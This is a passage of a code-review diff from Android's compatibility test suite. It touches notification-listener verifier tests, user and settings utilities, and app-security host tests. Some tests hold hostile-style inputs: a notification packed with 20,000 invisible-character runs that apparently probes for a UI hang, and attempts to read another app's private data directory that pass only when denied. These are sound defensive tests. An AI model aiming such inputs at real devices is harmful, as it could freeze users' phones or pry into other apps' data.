[automerger skipped] DO NOT MERGE: ActivityManager#killBackgroundProcesses can kill caller's own app only am: 818b76359f -s ours
am skip reason: skipped by user jji
Original change: https://googleplex-android-review.googlesource.com/c/platform/cts/+/20306378
Change-Id: Iba9168d5bfb5d25bf04a15426f515e49058df7ae
Signed-off-by: Automerger Merge Worker <android-build-automerger-merge-worker@system.gserviceaccount.com>
diff --git a/PREUPLOAD.cfg b/PREUPLOAD.cfg
index 7b9c427..2572b01 100644
--- a/PREUPLOAD.cfg
+++ b/PREUPLOAD.cfg
@@ -36,6 +36,9 @@
tests/tests/view/
tests/tests/widget/
common/device-side/util/
+ hostsidetests/car/
+ hostsidetests/multiuser/
+ hostsidetests/scopedstorage/
hostsidetests/stagedinstall/
hostsidetests/userspacereboot/
tests/tests/packageinstaller/atomicinstall/
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index e60bf6f..c206225 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -2547,19 +2547,6 @@
android:resource="@xml/shortcuts" />
</activity>
- <activity android:name=".notifications.MediaPlayerVerifierActivity"
- android:label="@string/qs_media_player_title">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.cts.intent.category.MANUAL_TEST" />
- </intent-filter>
- <meta-data android:name="test_category"
- android:value="@string/test_category_notifications" />
- <meta-data android:name="test_excluded_features"
- android:value="android.hardware.type.watch:android.software.leanback:android.hardware.type.automotive" />
- <meta-data android:name="test_required_configs" android:value="config_quick_settings_supported" />
- </activity>
-
<service android:name=".notifications.MockListener"
android:exported="true"
android:label="@string/nls_service_name"
diff --git a/apps/CtsVerifier/res/layout/nls_item.xml b/apps/CtsVerifier/res/layout/nls_item.xml
index f1a10bf..e80d333 100644
--- a/apps/CtsVerifier/res/layout/nls_item.xml
+++ b/apps/CtsVerifier/res/layout/nls_item.xml
@@ -14,41 +14,51 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
- android:layout_height="wrap_content" >
+ android:layout_height="wrap_content"
+ android:orientation="vertical">
- <ImageView
- android:id="@+id/nls_status"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:layout_alignParentLeft="true"
- android:layout_alignParentTop="true"
- android:layout_marginTop="10dip"
- android:contentDescription="@string/pass_button_text"
- android:padding="10dip"
- android:src="@drawable/fs_indeterminate" />
-
- <TextView
- android:id="@+id/nls_instructions"
- style="@style/InstructionsSmallFont"
+ <LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
- android:layout_alignParentRight="true"
- android:layout_alignParentTop="true"
- android:layout_toRightOf="@id/nls_status"
- android:text="@string/nls_enable_service" />
+ android:orientation="horizontal">
+ <ImageView
+ android:id="@+id/nls_status"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_alignParentLeft="true"
+ android:layout_alignParentTop="true"
+ android:layout_marginTop="10dip"
+ android:contentDescription="@string/pass_button_text"
+ android:padding="10dip"
+ android:src="@drawable/fs_indeterminate" />
+
+ <TextView
+ android:id="@+id/nls_instructions"
+ style="@style/InstructionsSmallFont"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_gravity="center_vertical"
+ android:layout_toRightOf="@id/nls_status"
+ android:text="@string/nls_enable_service" />
+ </LinearLayout>
<Button
android:id="@+id/nls_action_button"
- android:layout_width="match_parent"
+ android:layout_width="wrap_content"
android:layout_height="wrap_content"
- android:layout_alignParentRight="true"
- android:layout_below="@id/nls_instructions"
android:layout_marginLeft="20dip"
android:layout_marginRight="20dip"
- android:layout_toRightOf="@id/nls_status"
android:onClick="actionPressed"
+ android:layout_gravity="center_horizontal"
android:text="@string/nls_start_settings" />
-</RelativeLayout>
\ No newline at end of file
+ <LinearLayout
+ android:id="@+id/feedback"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:visibility="gone" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index efc230c..3884f3c 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -2245,31 +2245,6 @@
notifications, fully expand the notification display and verify that the \"Person A\"
notification appears before the "\Non-Person Notification\".
If this device does not support conversation notifications or does not group them together, press Pass.</string>
- <string name="qs_media_player_title">QS Media Controls Test</string>
- <string name="qs_media_player_test">Media Controls Test</string>
- <string name="qs_media_player_info">This test checks that media controls appear in the
- Quick Settings shade for applications that post a media style notification.</string>
- <string name="qs_media_player_song_and_artist">Fully expand Quick Settings and look at the media
- player controls for the CTS Verifier app.
- Check that the media player contains the strings "Song" and "Artist".
- </string>
- <string name="qs_media_player_album_art">Open Quick Settings and look at the media player
- controls for the CTS Verifier app.
- Check that the media player contains a solid yellow image.
- </string>
- <string name="qs_media_player_progress_bar">Fully expand Quick Settings and look at the media
- player controls for the CTS Verifier app.
- Check that the media player contains a progress bar showing 6 seconds have elapsed of a
- one minute long track.
- </string>
- <string name="qs_media_player_actions">Fully expand Quick Settings and look at the media player
- controls for the CTS Verifier app.
- Check that icons appear for rewind, previous track, pause, next track and fast forward.
- </string>
- <string name="qs_media_player_output_switcher">Open Quick Settings and look at the media player
- controls for the CTS Verifier app. Click on the button showing that the media is playing
- on the phone speaker. Check that the Output Switcher opens.
- </string>
<string name="tile_service_name">Tile Service for CTS Verifier</string>
<string name="tiles_test">Tile Service Test</string>
<string name="tiles_info">This test checks that a Tile Service added by a third party
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
index 4100b81..989f63c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
@@ -267,8 +267,8 @@
return item;
}
- protected View createAutoItem(ViewGroup parent, int stringId) {
- View item = mInflater.inflate(R.layout.nls_item, parent, false);
+ protected ViewGroup createAutoItem(ViewGroup parent, int stringId) {
+ ViewGroup item = (ViewGroup) mInflater.inflate(R.layout.nls_item, parent, false);
TextView instructions = item.findViewById(R.id.nls_instructions);
instructions.setText(stringId);
View button = item.findViewById(R.id.nls_action_button);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java
deleted file mode 100644
index fbe0b01..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java
+++ /dev/null
@@ -1,164 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.verifier.notifications;
-
-import android.app.Notification;
-import android.app.NotificationChannel;
-import android.app.NotificationManager;
-import android.content.Context;
-import android.graphics.Bitmap;
-import android.graphics.Canvas;
-import android.graphics.Color;
-import android.graphics.Rect;
-import android.media.MediaMetadata;
-import android.media.session.MediaSession;
-import android.media.session.PlaybackState;
-import android.os.Bundle;
-import android.view.View;
-import android.view.ViewGroup;
-
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Tests for media player shown in quick setting when media style notification is posted.
- */
-public class MediaPlayerVerifierActivity extends InteractiveVerifierActivity {
-
- // Pieces of the media session.
- private static final String SESSION_KEY = "Session";
- private static final String SESSION_TITLE = "Song";
- private static final String SESSION_ARTIST = "Artist";
- private static final long SESSION_DURATION = 60000L;
-
- // Pieces of the media style notification.
- private static final String TITLE = "Media-style Notification";
- private static final String TEXT = "Notification for a test media session";
- private static final String CHANNEL_ID = "MediaPlayerVerifierActivity";
-
- private MediaSession mSession;
- private NotificationManager mManager;
- private Notification.Builder mBuilder;
-
- @Override
- public List<InteractiveTestCase> createTestItems() {
- List<InteractiveTestCase> cases = new ArrayList<>();
- cases.add(new MediaPlayerTestCase(R.string.qs_media_player_song_and_artist));
- cases.add(new MediaPlayerTestCase(R.string.qs_media_player_album_art));
- cases.add(new MediaPlayerTestCase(R.string.qs_media_player_progress_bar));
- cases.add(new MediaPlayerTestCase(R.string.qs_media_player_actions));
- cases.add(new MediaPlayerTestCase(R.string.qs_media_player_output_switcher));
- return cases;
- }
-
- @Override
- public int getInstructionsResource() {
- return R.string.qs_media_player_info;
- }
-
- @Override
- public int getTitleResource() {
- return R.string.qs_media_player_test;
- }
-
- private class MediaPlayerTestCase extends InteractiveTestCase {
- private final int mDescriptionResId;
-
- MediaPlayerTestCase(int resId) {
- mDescriptionResId = resId;
- }
-
- @Override
- protected void setUp() {
- postMediaStyleNotification();
- status = READY;
- }
-
- @Override
- protected void tearDown() {
- cancelMediaStyleNotification();
- }
-
- @Override
- protected View inflate(ViewGroup parent) {
- return createPassFailItem(parent, mDescriptionResId);
- }
-
- @Override
- protected void test() {
- status = WAIT_FOR_USER;
- next();
- }
- }
-
- private void postMediaStyleNotification() {
- mManager = this.getSystemService(NotificationManager.class);
- mSession = new MediaSession(this, SESSION_KEY);
-
- // create a solid color bitmap to use as album art in media metadata
- Bitmap bitmap = Bitmap.createBitmap(300, 300, Bitmap.Config.ARGB_8888);
- new Canvas(bitmap).drawColor(Color.YELLOW);
-
- // set up media session with metadata and playback state
- mSession.setMetadata(new MediaMetadata.Builder()
- .putString(MediaMetadata.METADATA_KEY_ARTIST, SESSION_ARTIST)
- .putString(MediaMetadata.METADATA_KEY_TITLE, SESSION_TITLE)
- .putLong(MediaMetadata.METADATA_KEY_DURATION, SESSION_DURATION)
- .putBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART, bitmap)
- .build());
- mSession.setPlaybackState(new PlaybackState.Builder()
- .setState(PlaybackState.STATE_PAUSED, 6000L, 1f)
- .setActions(PlaybackState.ACTION_SEEK_TO | PlaybackState.ACTION_PLAY |
- PlaybackState.ACTION_PAUSE)
- .build());
-
- // set up notification builder
- NotificationChannel channel = new NotificationChannel(CHANNEL_ID, CHANNEL_ID,
- NotificationManager.IMPORTANCE_LOW);
- mManager.createNotificationChannel(channel);
- mBuilder = new Notification.Builder(this, CHANNEL_ID)
- .setContentTitle(TITLE).setContentText(TEXT)
- .setSmallIcon(R.drawable.ic_android)
- .setStyle(new Notification.MediaStyle()
- .setShowActionsInCompactView(1, 2, 3)
- .setMediaSession(mSession.getSessionToken()))
- .setColor(Color.BLUE)
- .setColorized(true)
- .addAction(android.R.drawable.ic_media_rew, "rewind", null)
- .addAction(android.R.drawable.ic_media_previous, "previous track", null)
- .addAction(android.R.drawable.ic_media_pause, "pause", null)
- .addAction(android.R.drawable.ic_media_next, "next track", null)
- .addAction(android.R.drawable.ic_media_ff, "fast forward", null);
-
- mSession.setActive(true);
- mManager.notify(1, mBuilder.build());
- }
-
- private void cancelMediaStyleNotification() {
- if (mSession != null) {
- mSession.release();
- mSession = null;
- }
- if (mManager != null) {
- mManager.cancelAll();
- mManager.deleteNotificationChannel(CHANNEL_ID);
- mManager = null;
- }
- }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
index 12e2b93..31980af 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
@@ -51,7 +51,7 @@
public static final String JSON_STATS = "stats";
public static final String JSON_LAST_AUDIBLY_ALERTED = "last_audibly_alerted";
- ArrayList<String> mPosted = new ArrayList<String>();
+ ArrayList<StatusBarNotification> mPosted = new ArrayList<>();
ArrayMap<String, JSONObject> mNotifications = new ArrayMap<>();
ArrayMap<String, String> mNotificationKeys = new ArrayMap<>();
ArrayList<String> mRemoved = new ArrayList<String>();
@@ -77,6 +77,15 @@
return mNotifications.values();
}
+ protected StatusBarNotification getPosted(String tag) {
+ for (StatusBarNotification sbn : mPosted) {
+ if (sbn.getTag().equals(tag)) {
+ return sbn;
+ }
+ }
+ return null;
+ }
+
protected String getKeyForTag(String tag) {
return mNotificationKeys.get(tag);
}
@@ -149,7 +158,7 @@
public void onNotificationPosted(StatusBarNotification sbn, RankingMap rankingMap) {
if (!mTestPackages.contains(sbn.getPackageName())) { return; }
Log.d(TAG, "posted: " + sbn.getTag());
- mPosted.add(sbn.getTag());
+ mPosted.add(sbn);
mPostedNotifications.add(sbn.getNotification());
JSONObject notification = new JSONObject();
try {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index 42ee9e1..1d704b0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -56,6 +56,8 @@
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
+import android.widget.FrameLayout;
+import android.widget.RemoteViews;
import androidx.core.app.NotificationCompat;
@@ -117,6 +119,7 @@
tests.add(new IsEnabledTest());
tests.add(new ServiceStartedTest());
tests.add(new NotificationReceivedTest());
+ tests.add(new LongMessageTest());
tests.add(new DataIntactTest());
tests.add(new AudiblyAlertedTest());
tests.add(new DismissOneTest());
@@ -261,8 +264,73 @@
@Override
protected void test() {
- List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
- if (result.size() > 0 && result.contains(mTag1)) {
+ if (MockListener.getInstance().getPosted(mTag1) != null) {
+ status = PASS;
+ } else {
+ logFail();
+ status = FAIL;
+ }
+ }
+ }
+
+ private class LongMessageTest extends InteractiveTestCase {
+ private ViewGroup mParent;
+ @Override
+ protected View inflate(ViewGroup parent) {
+ mParent = createAutoItem(parent, R.string.nls_anr);
+ return mParent;
+ }
+
+ @Override
+ protected void setUp() {
+ createChannels();
+ StringBuilder sb = new StringBuilder();
+ for (int i = 0; i < 20000; i++) {
+ sb.append("\u2009\u200a" + "\u200E\u200F" + "stuff");
+ }
+ Notification.Builder builder = new Notification.Builder(
+ mContext, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(android.R.id.icon)
+ .setContentTitle("This is an long notification")
+ .setContentText("Innocuous content")
+ .setStyle(new Notification.MessagingStyle("Fake person")
+ .addMessage("hey how is it goin", 0, "Person 1")
+ .addMessage("hey", 0, "Person 1")
+ .addMessage("u there", 0, "Person 1")
+ .addMessage("how you like tHIS", 0, "Person 1")
+ .addMessage(sb.toString(), 0, "Person 1")
+ );
+ mTag1 = UUID.randomUUID().toString();
+ mId1 = NOTIFICATION_ID + 1;
+ mPackageString = "com.android.cts.verifier";
+ mNm.notify(mTag1, mId1, builder.build());
+ status = READY;
+ }
+
+ @Override
+ protected void tearDown() {
+ mNm.cancelAll();
+ MockListener.getInstance().resetData();
+ deleteChannels();
+ }
+
+ @Override
+ protected void test() {
+ StatusBarNotification sbn = MockListener.getInstance().getPosted(mTag1);
+ if (sbn == null) {
+ logFail();
+ status = FAIL;
+ } else {
+ ViewGroup parent = mParent.findViewById(R.id.feedback);
+ parent.setVisibility(View.VISIBLE);
+ final Notification.Builder recoveredBuilder = Notification.Builder.recoverBuilder(
+ NotificationListenerVerifierActivity.this,
+ sbn.getNotification());
+ RemoteViews rv = recoveredBuilder.createContentView();
+ View v = rv.apply(NotificationListenerVerifierActivity.this, parent);
+ parent.addView(v);
+ }
+ if (MockListener.getInstance().getPosted(mTag1) != null) {
status = PASS;
} else {
logFail();
@@ -985,8 +1053,7 @@
if (MockListener.getInstance() == null) {
status = PASS;
} else {
- List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
- if (result.size() == 0) {
+ if (MockListener.getInstance().mPosted.size() == 0) {
status = PASS;
} else {
logFail();
@@ -1157,8 +1224,7 @@
state = READY_TO_CHECK_FOR_UNSNOOZE;
}
} else {
- List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
- if (result.size() > 0 && result.contains(mTag1)) {
+ if (MockListener.getInstance().getPosted(mTag1) != null) {
status = PASS;
} else {
logFail();
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java
index 14f8285..03d4a50 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java
@@ -197,4 +197,12 @@
public static String getSecureSetting(String key) {
return SystemUtil.runShellCommand("settings --user current get secure " + key).trim();
}
+
+ /**
+ * Get a global setting for the given user. Trims ending new line.
+ */
+ public static String getSecureSettingAsUser(int userId, String key) {
+ return SystemUtil.runShellCommand(
+ String.format("settings --user %d get secure %s", userId, key)).trim();
+ }
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/UserUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/UserUtils.java
new file mode 100644
index 0000000..198e602
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/UserUtils.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.os.SystemProperties;
+
+/**
+ * Provides utilities to deal with user status.
+ */
+public final class UserUtils {
+
+ private static final String TAG = UserUtils.class.getSimpleName();
+ private static final String SYS_PROP_HEADLESS_SYSTEM_USER = "ro.fw.mu.headless_system_user";
+
+ private UserUtils() {
+ throw new AssertionError("Should not be instantiated");
+ }
+
+ /**
+ * Tells if the device is in headless system user mode.
+ */
+ public static boolean isHeadlessSystemUserMode() {
+ return SystemProperties.getBoolean(SYS_PROP_HEADLESS_SYSTEM_USER, false);
+ }
+}
diff --git a/hostsidetests/appsecurity/Android.bp b/hostsidetests/appsecurity/Android.bp
index 3a569db..a8f2e9f 100644
--- a/hostsidetests/appsecurity/Android.bp
+++ b/hostsidetests/appsecurity/Android.bp
@@ -25,6 +25,7 @@
"compatibility-host-util",
"truth-prebuilt",
"hamcrest-library",
+ "sts-host-util",
],
static_libs: [
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java
index e86aa57..2e182eb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/RoleSecurityTest.java
@@ -21,7 +21,7 @@
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import static org.junit.Assert.assertNull;
import static org.junit.Assume.assumeTrue;
@@ -30,7 +30,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class RoleSecurityTest extends BaseHostJUnit4Test {
+public class RoleSecurityTest extends StsExtraBusinessLogicHostTestBase {
private static final String ROLE_SECURITY_TEST_APP_APK = "CtsRoleSecurityTestApp.apk";
private static final String ROLE_SECURITY_TEST_APP_PACKAGE = "com.android.cts.rolesecuritytest";
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
index fdbb439..20be1a7 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
@@ -23,6 +23,11 @@
created by com.android.cts.appwithdata.
-->
+ <!--
+ We want to test without app data isolation, which comes with targetSdk 30.
+ -->
+ <uses-sdk android:targetSdkVersion="29" />
+
<uses-permission android:name="android.permission.INTERNET"/>
<application>
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java b/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java
index b1f804e..74d754d 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java
@@ -20,6 +20,7 @@
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.fail;
+import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.content.pm.PackageManager.NameNotFoundException;
@@ -28,10 +29,14 @@
import android.os.Bundle;
import android.os.ParcelFileDescriptor;
import android.os.SystemClock;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -45,6 +50,9 @@
/**
* Test that another app's private data cannot be accessed, while its public data can.
*
+ * These tests are for apps targeting SDK 29 (or lower). Tests for the behavior for apps targeting
+ * SDK 30+ are in {@code AppDataIsolationTests}.
+ *
* Assumes that {@link #APP_WITH_DATA_PKG} has already created the private and public data.
*/
@RunWith(AndroidJUnit4.class)
@@ -70,10 +78,15 @@
private static final Uri PRIVATE_TARGET = Uri.parse("content://com.android.cts.appwithdata/");
+ private Context mContext;
+
+ @Before
+ public void setUp() {
+ mContext = InstrumentationRegistry.getContext();
+ }
+
/**
- * Tests that another app's private data cannot be accessed. It includes file
- * and detailed traffic stats.
- * @throws IOException
+ * Tests that another app's private data cannot be accessed.
*/
@Test
public void testAccessPrivateData() throws IOException {
@@ -90,17 +103,8 @@
}
}
- private ApplicationInfo getApplicationInfo(String packageName) {
- try {
- return InstrumentationRegistry.getContext().getPackageManager().getApplicationInfo(packageName, 0);
- } catch (PackageManager.NameNotFoundException e) {
- throw new IllegalStateException("Expected package not found: " + e);
- }
- }
-
/**
- * Tests that another app's public file can be accessed
- * @throws IOException
+ * Tests that another app's public file cannot be accessed
*/
@Test
public void testAccessPublicData() throws IOException {
@@ -117,6 +121,21 @@
}
}
+ /**
+ * Tests that we can't even access another app's root private data dir.
+ */
+ @Test
+ public void testStatPrivateDataDir() {
+ ApplicationInfo applicationInfo = getApplicationInfo(APP_WITH_DATA_PKG);
+ String path = applicationInfo.dataDir;
+ try {
+ Os.stat(path);
+ fail("Was able to stat() another app's private data dir: " + path);
+ } catch (ErrnoException expected) {
+ assertEquals(path, OsConstants.EACCES, expected.errno);
+ }
+ }
+
@Test
public void testAccessProcQtaguidTrafficStatsFailed() {
// For untrusted app with SDK P or above, proc/net/xt_qtaguid files are no long readable.
@@ -130,7 +149,7 @@
public void testAccessPrivateTrafficStats() {
int otherAppUid = -1;
try {
- otherAppUid = InstrumentationRegistry.getContext()
+ otherAppUid = mContext
.createPackageContext(APP_WITH_DATA_PKG, 0 /*flags*/)
.getApplicationInfo().uid;
} catch (NameNotFoundException e) {
@@ -159,7 +178,7 @@
final long txp = TrafficStats.getUidTxPackets(uid);
// Start remote server
- final int port = InstrumentationRegistry.getContext().getContentResolver().call(PRIVATE_TARGET, "start", null, null)
+ final int port = mContext.getContentResolver().call(PRIVATE_TARGET, "start", null, null)
.getInt("port");
// Try talking to them, but shift blame
@@ -169,7 +188,7 @@
Bundle extras = new Bundle();
extras.putParcelable("fd", ParcelFileDescriptor.fromSocket(socket));
- InstrumentationRegistry.getContext().getContentResolver().call(PRIVATE_TARGET, "tag", null, extras);
+ mContext.getContentResolver().call(PRIVATE_TARGET, "tag", null, extras);
socket.connect(new InetSocketAddress("localhost", port));
@@ -181,7 +200,7 @@
} catch (IOException e) {
throw new RuntimeException(e);
} finally {
- InstrumentationRegistry.getContext().getContentResolver().call(PRIVATE_TARGET, "stop", null, null);
+ mContext.getContentResolver().call(PRIVATE_TARGET, "stop", null, null);
}
SystemClock.sleep(1000);
@@ -192,4 +211,12 @@
assertEquals(txb, TrafficStats.getUidTxBytes(uid));
assertEquals(txp, TrafficStats.getUidTxPackets(uid));
}
+
+ private ApplicationInfo getApplicationInfo(String packageName) {
+ try {
+ return mContext.getPackageManager().getApplicationInfo(packageName, 0);
+ } catch (PackageManager.NameNotFoundException e) {
+ throw new IllegalStateException("Expected package not found: " + e);
+ }
+ }
}
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
index cf85210..ea8a824 100644
--- a/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
@@ -23,6 +23,12 @@
access.
-->
+ <!--
+ We want to test without app data isolation, which comes with targetSdk 30.
+ -->
+ <uses-sdk android:targetSdkVersion="29" />
+
+
<uses-permission android:name="android.permission.INTERNET" />
<application>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml
index ae3ff05..474df01 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml
@@ -53,7 +53,14 @@
</intent-filter>
</activity>
- <activity android:name=".CrossProfileSameTaskLauncherActivity" android:exported="true"/>
+ <activity android:name=".CrossProfileSameTaskLauncherActivity"
+ android:exported="true"/>
+
+ <activity android:name=".CrossProfileResultCheckerActivity"
+ android:exported="true"/>
+
+ <activity android:name=".CrossProfileResultReturnerActivity"
+ android:exported="true"/>
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/res/layout/cross_profile_result_checker.xml b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/res/layout/cross_profile_result_checker.xml
new file mode 100644
index 0000000..5689f32
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/res/layout/cross_profile_result_checker.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+ <TextView
+ android:id="@+id/cross_profile_result_checker_result"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
index 6b41018..7332521 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
@@ -19,6 +19,8 @@
import static android.Manifest.permission.INTERACT_ACROSS_USERS;
import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+import static com.google.common.truth.Truth.assertThat;
+
import static junit.framework.Assert.assertNotNull;
import static org.junit.Assert.assertEquals;
@@ -276,6 +278,23 @@
}
}
+ @Test
+ public void testStartActivityIntent_crossProfile_returnsResult() throws Exception {
+ try {
+ mContext.startActivity(new Intent()
+ .setComponent(CrossProfileResultCheckerActivity.buildComponentName(mContext))
+ .putExtra(CrossProfileResultCheckerActivity.TARGET_USER_EXTRA, mTargetUser));
+
+ final UiObject2 textView = mDevice.wait(
+ Until.findObject(
